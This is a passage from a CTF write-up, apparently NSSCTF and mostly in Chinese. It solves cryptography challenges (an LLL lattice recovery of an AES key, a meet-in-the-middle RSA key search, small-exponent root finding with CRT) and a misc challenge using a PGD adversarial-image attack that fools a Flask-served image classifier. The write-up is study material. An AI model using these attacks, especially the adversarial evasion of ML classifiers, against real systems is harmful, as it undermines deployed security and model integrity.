6409725586399153562174435158247599193499008381130383743433623949976530392240171542527657077771723107664747118903213393154893390715457247849808357209465942 , 3372824803484968486680937546271819996332625362891283809637871759604598252172343794474197823370030403360262989580844260103083478034905726890611202238641340 , 13221067729455004299677399984872603663881675510140157358091630484387026309376774076498558628883879446483977202290444900329681753187886973457338777404374837 , 7168388056726802823482632673894477305062116631923141017136239676696007696629606782541016490173953868270727600022309320772114799519383514048456314407549126 , 5250230933448962245502125593869313477032913928941516938273943408457441209365441112912617832856547549404891414953525445963675011329667621804152746371657313 , 8511291855606246692070730459514263912089592580342504124890734122750181111943376656479213361961009582891618556261302703133404839204999651359329176948170842 , 10576966024912004586600985705328475294820172279541596349092328002861342696932964481093301707680584309062968518297314914578723605267596141569538103299931592 , 12610576251820483830699440118009518195547953924641848179631259695652398482759919292823264035055444639679877606276670927735340951916197191958922906156370663 , 3742260845065949575192054445757226288737527960324254459850715703182879384214273141678432129201712761002566924178045796602250837169613100836509080462118064 , 11563799338655584285772430060426469486983276581413105960901201146319641194721216394735314795999096052047566733050321685673448559752053334666493545565267458 , 2135904971793751083168704063674429207856744601756475004904460101727999030934815461118290836502605293753384609825541213034656253854812143724421464450937515 , 3115138049292154301818359336614981367419382594686950083225042221335435796679806070685800479754927915293066789893346628151325862299622031407323031470432866 , 11834987428374239733081967249175125232293539826462896997963240557834259212701171232384194311849363016441847536816726226234955703291712817155658535826680986 , ] a = [ 8016983781273189754281912962247057409930227455812224730112055674262101679986538896353333785641031178561641562965339977035588567181180100475283408488320671 , 12980173980684618239567238092970002844391225790428809984588444288874980047043175328056782109973890659670718383856150425014293022930574469326618263083648099 , 8109856702010014482292978050018141635784057812487351143916154508689142112615449144377702002382005662470835964315028619291602564624893518861557701327890923 , 12785373226115694299429762427866573289359143336748874789256870948157808484043436344897926547699412946084053665605873366419653263394817308889578649556482317 , 12293720016807713691819354075258380849321736691923473670291035750221768289875347194928451102365603432383881559318603460687890903510706219895796459019974867 , 9784378896444105030039569921777285228994264456281120536753266782980679466146906618674672118057906497814953677764528302638725540882074537262487534252076829 , 9241433814815706758885649801540944918822400007457713603674159882791199750057709773097552334465041959969676782253637817171507122904345522225398825682237481 , 11204803848333722110323297716136514262820561394355433234423667799557561253910421337700868735544193790444406938869863716247161888020220901893711513603634809 , 10851090251796215969502640347727949807230163009657915435491546953253351810608099195268759626721620529756828379004467476267712531905975334082089231769707617 , 11250957460128461102060212243723539805901629603092001540925013383541943835129096257407578679799378517176957440298695788786794500447140718667332595080944869 , 12248623923069220370917375593286718711586079377902376988707257328512455851210970182518826733646869485671374318338949112466814956514662420760908691130244383 , 11061068271412202445428992286301637014530049371871820612053163253748795430394720967354122057185625710764847486790478210908967065668096047462000900877243843 , 9250800791153158078642768324800520716511537203538708124830844957330029236789799844775267058446261708862442981956837389747149720449997356553753692631237873 , 11442112467994330302413453979716258058149104607244851803491048585747359474970005873336772224480265499136742622823880716879860377641238675210553131052206691 , 8851268226889934481971979527547782930762103134830344221114784617526682434893736517219781937490279514229768881864475696389373739501629994242420024622585309 , 8761826274329402585517262093482651333161640060627583337505498299736119877176278155436111156185319629046980645810012652601825582701466570339570478108791887 , 8173260008522260126563915135008278248111293487661172115633899079869720932758788675224579864948752039769531398938248083971071345978173279466336354696742377 , 11733325877716881936637372036969125985631514189799569847189115606745019694984456424617859168884541552882900918661071180298079869943357668081866511603361429 , 12798678249651545625305346509566263707129030745621625744465668772298872710674031103310015594375483838020916596533864897632924958154707810583510669376046159 , 11972367565183102195894957634073708898746516169055154830786380821612631063771935949099855541345280195465211676841845799521135332692746439801114025346776451 , 8309485355838062558333744941897142201736283502970173073711189070760311131678107029730686549988329677109870570827466668034034377094834508445549924223585219 , 10037957030668927878463105058548635761147918169468443696251870837018029994579358415317101911755591591785037623566701920710453008930531891302329922308475079 , 13221078857886779075714191159549244640144219704164657103905516889650093241197471185563906205007376146027157620524696025494715411571586859030421582641250071 , 13377141034964464295846379646837504968557246139611266461228568513844912255762222441387410898249170108735540582627742796017922462329606088337301365183628591 , 11503417590216916228951909788782481610038959664264972733435373475346403291387209063270057139621628854733942831548624992555175497319058962145185736395531609 , 10682562966818807073688884352394574841623385668134186058213080078637580526582062737913378756835873195913042020318042792997704842570481165538229628253983417 , 7009494733984067792833862756223517770477471938386639921019003601598472840183655333614008677846799784155444425042016748876974547683111073376705004070094301 , 9396274922380984183217450286560296708001013262936289587249206096013034374236192395477584831821730898646879768741299571262843654547918064041618890696711333 , 9055143657462834722016836241561857041386247088507191351272758917384350750091500866289528933248085632291073921554368989805281660196853938630560350667255913 , 7075881589550115729079726581415060529537262743216265811601339312252250745864621882784185460812341989475906020671174894015501378625757286896275136526488817 , ] iv=b'\x88\x0c\x7f\x92\xd7\xb7\xaf4\xe4\xfb\xd1_\xab\xff)\xb8' ciphertext=b'\x94\x198\xd6\xa2mK\x00\x06\x7f\xad\xa0M\xf7\xadV;EO$\xee\xcdB0)\xfb!&8%,M' n = len (a) M = Matrix(QQ, n + 2 , n + 2 ) for i in range (n): M[i, i] = p M[-2 , i] = a[i] M[-1 , i] = -c[i] K = 2 ^ 400 t = K / p M[-2 , -2 ] = t M[-1 , -1 ] = K L = M.LLL() x = L[1 ][-2 ] // t m = x % p print (int (m))key=int (m) if key is not None : key_aes = str (key).encode()[:16 ] cipher = AES.new(key_aes, AES.MODE_CBC, iv) flag = cipher.decrypt(ciphertext) flag = flag[:-flag[-1 ]].decode() print ("Flag:" , flag) else : print ("Failed to recover key" )
MIMT_RSA 已知KEY不是素数。设 KEY = u * v,其中 u为 18 位以内的正整数(2 <= u < 2^18, u<=v)。U=pow(u,e,n),V=pow(v,e,n),ck=U*V,则可以预先跑出U,再遍历V,用哈希表查找。实际上v大概为一个20位的数。
from Crypto.Util.number import inverse, isPrimefrom hashlib import md5from tqdm import trangen = 26563847822899403123579768059987758748518109506340688366937229057385768563897579939399589878779201509595131302887212371556759550226965583832707699167542469352676806103999861576255689028708092007726895892953065618536676788020023461249303717579266840903337614272894749021562443472322941868357046500507962652585875038973455411548683247853955371839865042918531636085668780924020410159272977805762814306445393524647460775620243065858710021030314398928537847762167177417552351157872682037902372485985979513934517709478252552309280270916202653365726591219198063597536812483568301622917160509027075508471349507817295226801011 e = 65537 ck = 8371316287078036479056771367631991220353236851470185127168826270131149168993253524332451231708758763231051593801540258044681874144589595532078353953294719353350061853623495168005196486200144643168051115479293775329183635187974365652867387949378467702492757863040766745765841802577850659614528558282832995416523310220159445712674390202765601817050315773584214422244200409445854102170875265289152628311393710624256106528871400593480435083264403949059237446948467480548680533474642869718029551240453665446328781616706968352290100705279838871524562305806920722372815812982124238074246044446213460443693473663239594932076 table = {} for u in trange(2 , 1 << 18 ): U = pow (u, e, n) table[U] = u found = False for v in trange(1 << 18 , 1 << 30 ): V = pow (v, e, n) try : inv_V = inverse(V, n) except Exception: continue candidate = (ck * inv_V) % n if candidate in table: u = table[candidate] KEY = u * v print ("Found KEY:" , KEY) flag = b"NSSCTF{" + md5(str (KEY).encode()).hexdigest().encode() + b"}" print ("Flag:" , flag.decode()) found = True assert KEY.bit_length() == 36 and not isPrime(KEY) break if not found: print ("没有找到符合条件的 KEY" )
baby_signin e很小是phi的因子,用AMM有限域开方。
import libnump= 182756071972245688517047475576147877841 q= 305364532854935080710443995362714630091 c= 14745090428909283741632702934793176175157287000845660394920203837824364163635 n= 55807222544207698804941555841826949089076269327839468775219849408812970713531 e= 4 R.<x> = Zmod(p)[] f = x ^ e - c f = f.monic() res1 = f.roots() R.<x> = Zmod(q)[] f = x ^ e - c f = f.monic() res2 = f.roots() for i in res1: for j in res2: m = crt(int (i[0 ]),int (j[0 ]),p,q) flag = libnum.n2s(int (m)) if flag.startswith(b'NSS' ): print (flag)
Misc AI Mortis public.py
from flask import Flaskfrom PIL import Imageimport torchfrom torch import nnimport torch.nn.functional as Ffrom torchvision import transformsimport osapp = Flask(__name__) class MortisNet (nn.Module): def __init__ (self ): super (MortisNet, self ).__init__() self .conv1 = nn.Conv2d(3 , 16 , kernel_size=3 , padding=1 ) self .conv2 = nn.Conv2d(16 , 32 , kernel_size=3 , padding=1 ) self .conv3 = nn.Conv2d(32 , 64 , kernel_size=3 , padding=1 ) self .dropout1 = nn.Dropout(0.32123432 ) self .fc1 = nn.Linear(64 * 64 * 64 , 512 ) self .fc2 = nn.Linear(512 , 64 ) self .fc3 = nn.Linear(64 , 1 ) def forward (self, x ): x = F.relu(self .conv1(x)) x = F.max_pool2d(x, 2 ) x = F.relu(self .conv2(x)) x = F.max_pool2d(x, 2 ) x = F.relu(self .conv3(x)) x = F.max_pool2d(x, 2 ) x = torch.flatten(x, 1 ) x = self .dropout1(x) x = F.relu(self .fc1(x)) x = F.relu(self .fc2(x)) x = torch.sigmoid(self .fc3(x)) return x model = MortisNet() model.load_state_dict(torch.load("mortis.pth" , map_location=torch.device("cpu" ))) model.eval () transform = transforms.Compose( [ transforms.Resize((512 , 512 )), transforms.ToTensor(), transforms.Normalize(mean=[0.485 , 0.456 , 0.406 ], std=[0.229 , 0.224 , 0.225 ]), ] ) def get_flag (): pass def calculate_psnr (image1_path, image2_path ): pass @app.route("" ) def check (filename ): filepath = os.path.join(app.config["" ], filename) image = Image.open (filepath).convert("RGB" ) input_tensor = transform(image).unsqueeze(0 ) output = model(input_tensor).item() original_image_path = "" psnr_value = calculate_psnr(original_image_path, filepath) os.remove(filepath) print (f"模型输出值: {output} " ) print (f"PSNR: {psnr_value} " ) psnr_threshold = 40.0 if psnr_value < psnr_threshold: return f"其他粉丝认为这张图是Anon,你辜负了Mutsumi小姐的信任!" elif output > 0.9 : flag = get_flag() return f"其他粉丝认为这张图是Soyo,Mortis小姐有极大把握认为这张图是Anon,恭喜你,揭穿了Morits小姐的真面目!她是{flag} " elif output > 0.5 : return f"其他粉丝认为这张图是Soyo,Mortis小姐没太大把握认为这张图是Anon,请你提供更有力的证据!" else : return f"大家都认为你提供的图是Soyo,你辜负了Mutsumi小姐的信任!"
用了PGD攻击
import torchimport torch.nn.functional as Ffrom torchvision import transformsfrom PIL import Imageimport numpy as npclass MortisNet (torch.nn.Module): def __init__ (self ): super (MortisNet, self ).__init__() self .conv1 = torch.nn.Conv2d(3 , 16 , kernel_size=3 , padding=1 ) self .conv2 = torch.nn.Conv2d(16 , 32 , kernel_size=3 , padding=1 ) self .conv3 = torch.nn.Conv2d(32 , 64 , kernel_size=3 , padding=1 ) self .dropout1 = torch.nn.Dropout(0.32123432 ) self .fc1 = torch.nn.Linear(64 * 64 * 64 , 512 ) self .fc2 = torch.nn.Linear(512 , 64 ) self .fc3 = torch.nn.Linear(64 , 1 ) def forward (self, x ): x = F.relu(self .conv1(x)) x = F.max_pool2d(x, 2 ) x = F.relu(self .conv2(x)) x = F.max_pool2d(x, 2 ) x = F.relu(self .conv3(x)) x = F.max_pool2d(x, 2 ) x = torch.flatten(x, 1 ) x = self .dropout1(x) x = F.relu(self .fc1(x)) x = F.relu(self .fc2(x)) x = torch.sigmoid(self .fc3(x)) return x device = torch.device("cuda" if torch.cuda.is_available() else "cpu" ) model = MortisNet().to(device) model.load_state_dict(torch.load("mortis.pth" , map_location=device)) model.eval () transform = transforms.Compose( [ transforms.Resize((512 , 512 )), transforms.ToTensor(), transforms.Normalize(mean=[0.485 , 0.456 , 0.406 ], std=[0.229 , 0.224 , 0.225 ]), ] ) def inv_transform (tensor ): """将归一化后的张量转换回原图([0,255],uint8)""" tensor = tensor.cpu() mean = torch.tensor([0.485 , 0.456 , 0.406 ]).view(3 , 1 , 1 ) std = torch.tensor([0.229 , 0.224 , 0.225 ]).view(3 , 1 , 1 ) tensor = tensor * std + mean tensor = (tensor * 255 ).clamp(0 , 255 ).byte().permute(1 , 2 , 0 ).numpy() return tensor def calculate_psnr (img1, img2 ): """ 计算两个图像(numpy 数组,范围 [0,255])的 PSNR 值 """ mse = np.mean((img1.astype(np.float32) - img2.astype(np.float32)) ** 2 ) if mse == 0 : return float ("inf" ) PIXEL_MAX = 255.0 psnr = 20 * np.log10(PIXEL_MAX / np.sqrt(mse)) return psnr def pgd_attack_with_psnr_and_output ( image, epsilon, alpha, num_iter, psnr_threshold=40.0 , output_threshold=0.9 ): """ 使用 PGD 攻击生成对抗样本,同时监控反归一化后图像的 PSNR 与模型输出值。 仅当 PSNR ≥ psnr_threshold 且 output > output_threshold 时,才记录为有效对抗样本。 参数: image: 归一化后的输入图片,shape [1, C, H, W] epsilon: 最大允许扰动(归一化空间) alpha: 每步扰动步长 num_iter: 迭代次数 psnr_threshold: PSNR 下限(例如40) output_threshold: 输出阈值(例如0.9) """ orig_image = image.clone().detach() orig_de_norm = inv_transform(orig_image.squeeze(0 )) mean_tensor = torch.tensor([0.485 , 0.456 , 0.406 ], device=device).view(1 , 3 , 1 , 1 ) std_tensor = torch.tensor([0.229 , 0.224 , 0.225 ], device=device).view(1 , 3 , 1 , 1 ) lower_bound = (0 - mean_tensor) / std_tensor upper_bound = (1 - mean_tensor) / std_tensor adv_image = image.clone().detach().to(device) adv_image.requires_grad = True best_adv = None best_output = -float ("inf" ) target = torch.tensor([[1.0 ]], device=device) for i in range (num_iter): output = model(adv_image) loss = -F.binary_cross_entropy(output, target) model.zero_grad() loss.backward() adv_image = adv_image + alpha * adv_image.grad.sign() perturbation = torch.clamp(adv_image - image, min =-epsilon, max =epsilon) adv_image = torch.clamp( image + perturbation, min =lower_bound, max =upper_bound ).detach() adv_image.requires_grad = True current_de_norm = inv_transform(adv_image.squeeze(0 )) psnr_val = calculate_psnr(orig_de_norm, current_de_norm) current_output = model(adv_image).item() print (f"Iteration {i+1 } : PSNR = {psnr_val:.2 f} , Output = {current_output:.4 f} " ) if ( psnr_val >= psnr_threshold and current_output > output_threshold and current_output > best_output ): best_output = current_output best_adv = adv_image.clone().detach() if best_adv is not None : print ( f"最终找到的对抗样本:PSNR ≥ {psnr_threshold} 且 Output = {best_output:.4 f} " ) return best_adv else : print ("未找到满足 PSNR 与输出阈值要求的对抗样本。" ) return None image_path = "soyo.png" image = Image.open (image_path).convert("RGB" ) input_tensor = transform(image).unsqueeze(0 ).to(device) epsilon = 0.05 alpha = 0.002 num_iter = 100 adv_image = pgd_attack_with_psnr_and_output( input_tensor, epsilon, alpha, num_iter, psnr_threshold=40.0 , output_threshold=0.9 ) if adv_image is not None : adv_np = inv_transform(adv_image.squeeze(0 )) adv_pil = Image.fromarray(adv_np) adv_pil.save("adv_soyo_pgd_monitor.png" ) print ("对抗样本生成完成,已保存为 adv_soyo_pgd_monitor.png。" ) final_output = model(adv_image).item() print ("最终模型输出值:" , final_output) else : print ("攻击未成功,未生成满足 PSNR 与输出要求的对抗样本。" )
soyo小姐么么么